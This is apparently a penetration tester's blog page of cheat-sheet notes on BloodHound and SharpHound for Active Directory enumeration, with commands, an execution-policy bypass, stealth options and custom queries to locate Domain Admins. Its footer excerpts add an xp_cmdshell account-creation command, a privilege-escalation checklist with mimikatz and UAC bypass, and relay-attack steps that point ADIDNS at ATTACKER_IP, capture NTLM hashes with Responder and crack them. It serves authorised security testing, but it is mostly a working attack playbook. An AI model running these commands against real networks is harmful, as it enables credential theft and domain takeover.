Skip to main content

Bloodhound Usage

 

 

BloodHound-Python
If you have access to DC, need admin creds - Github

Linux:


proxychains python3 bloodhound.py -d Steins.local -u admin -p p@$$W0rd! -c all -dc dc.steins.local -gc dc.steins.local -v -ns 10.10.10.10 --dns-tcp

Few files will appear in the same location, import them into bloodhound

Kali: apt-get install bloodhound
sudo neo4j console
go to localhost:7474
neo4j: neo4j #login in browser and change the password

bloodhound #bloodhoun login will pop-up, login with new creds

Windows:


Download this on Windows target: SharpHound.ps1


powershell -ep bypass
..\SharpHound.ps1
invoke-Bloodhound -CollectionMethod All -Domain Steins.local -ZipfileName file.zip

invoke-Bloodhound -CollectionMethod LoggedOn -Verbose

or

SharpHound.exe -c All -d Steins.local --zipfilename test.zip

OR
.\SharpHound.exe -d steins.local --domaincontroller 192.168.168.168 --ldapusername admin --ldappassword P@$$W0rd! --zipfilename domain.zip - c All

open the file in bloodhound --> click on upload --> select file


For Testing:

git clone https://github.com/BloodHoundAD/BloodHound-Tools
cd DBCreator
pip install neo4j-driver
sudo pip3 install neo4j
python3 DBCreator.py
sudo neo4j console
dbconfig

Invoke-BloodHound Commands 

#specify detailed collection methods
Invoke-BloodHound -CollectionMethod ACL,ObjectProps

#Change the frequency of the requests sent by BloodHound
Invoke-BloodHound -Throttle 1500 -Jitter 10

#increase the stealthiness of theBloodHound ingestor is to minimize its disk footprint.
Invoke-BloodHound -CompressData -RemoveCSV and –NoSaveCache
Custom Commands

Click on custom queries and edit the json file, we can add as many queries as required

Example 1

{
"name": "CUSTOM",
"queryList": [
{
"final": true,
"query": "MATCH (n:User) RETURN n"
}
]
}

List all Domain Admins


{
"name": "CUSTOM",
"queryList": [
{
"final": true,
"query": "MATCH (n:Group) WHERE n.name =~ \"(?i).*DOMAIN ADMINS.*\" WITH n MATCH (n)<-[r:MemberOf*1..]-(m) RETURN n,r,m"
}
]
}
 
Display all the users that are part of administrators group
{
"name": "CUSTOM",
"queryList": [
{
"final": true,
"query": "MATCH (u:User)-[MemberOf]->(g:Group {name: \"ADMINISTRATORS@ELS-CHILD.ELS.LOCAL\"}) RETURN u"
}
]
},

 

 

 

 

 

 

Comments

Popular posts from this blog

SQL DB & SQL Injection Pentest Cheat Sheet

1) MSSQL Injection Cheat Sheet | pentestmonkey 2) xp_cmdshell | Red Team tales 3) PentesterMonkey SQL Injection Cheatsheet Use dbeaver for GUI Access 4) SQL Injection Explanation | Graceful Security Common Ports Microsoft SQL: 1433/TCP (default listener) 1434/UDP (browser service) 4022/TCP (service broker) 5022/TCP (AlwaysOn High Availability default) 135/TCP (Transaction SQL Debugger) 2383/TCP (Analysis Services) 2382/TCP (SQL Server Browser Service) 500,4500/UDP (IPSec) 137-138/UDP (NetBios / CIFS) 139/TCP (NetBios CIFS) 445/TCP (CIFS) Oracle SQL: 1521/TCP 1630/TCP 3938/HTTP MongoDB : 27017,27018,27019/TCP PostgreSQL: 8432/TCP MySQL: 3306/TCP SQL DB Enum with nmap: nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add" nmap -Pn -n -sS —script=ms-sql-xp-cmds

Windows Priv Escallation

1.     Windows Privilege Escalation Commands  _ new 2.     Transferring Files to Windows 3.    Priv Esc Commands 4.    Priv Esc Guide  5.    Payload All the Things --> great Coverage 6.    WinRM -- Windows Priv Esc    7. Newb Guide - Windows Pentest    8. Kerberos Attacks Explained     9. How to Attack Kerberos 101    Use PowerSploit/PrivEsc/Powerup.ps1 to find some potential info check for Non-windows processes in windows using netstat Step 1: Check net user and admin and user rights Step 2: Check if we have access of powershell if yes then run powerup.ps1,sherlock.ps1 and JAWS.ps1. Step 3: Try to get Meterpreter. Step 4: Load mimikatz ,try bypass UAC , check SAM SYSTEM etc. Step 5: check for weird programs and registry. Step 6: If the box is Domain Controller - Enum - Enum SMB Users/Ldap Users/ Blood Hound - GUI AD Enum & Kerberos Enum - Bruteforce   Atacking AD with LDAP & kerberos      Step 7: Got Creds - try psexec.py or crackm

Relay Attacks

Hash Hashcat Attack method LM 3000 crack/pass the hash NTLM/NTHash 1000 crack/pass the hash NTLMv1/Net-NTLMv1 5500 crack/relay attack NTLMv2/Net-NTLMv2 5600 crack/relay attack Abusing ADIDNS to Send traffic to the target #Send DNS traffic to the attacker machine, so that we can relay the traffic and gain access to target machines/hashes Import-Module ./ Powermad.ps1 PowerShell New-ADIDNSNode -Node * -Data 'ATTACKER_IP' -Verbose #assign permissions to the ADIDNS Powershell Grant-ADIDNSPermission -Node * -Principal "Authenticated Users" -Access GenericAll -Verbose Capturing Hashes using responder and cracking hashes #Find the interface of the IP (see via route table) ip route get 10.10.10.10 #start responder sudo proxychains responder -I tun0 -v #Start responder with WPAD Enabled and try to download NTLM hashes if any found python3 Responder.py -I ens160 -wFb -v --lm --disable-ess #Crack the hashes using hashcat hashcat -m 5600 -a 0 hash rockyou.txt -r /usr/share/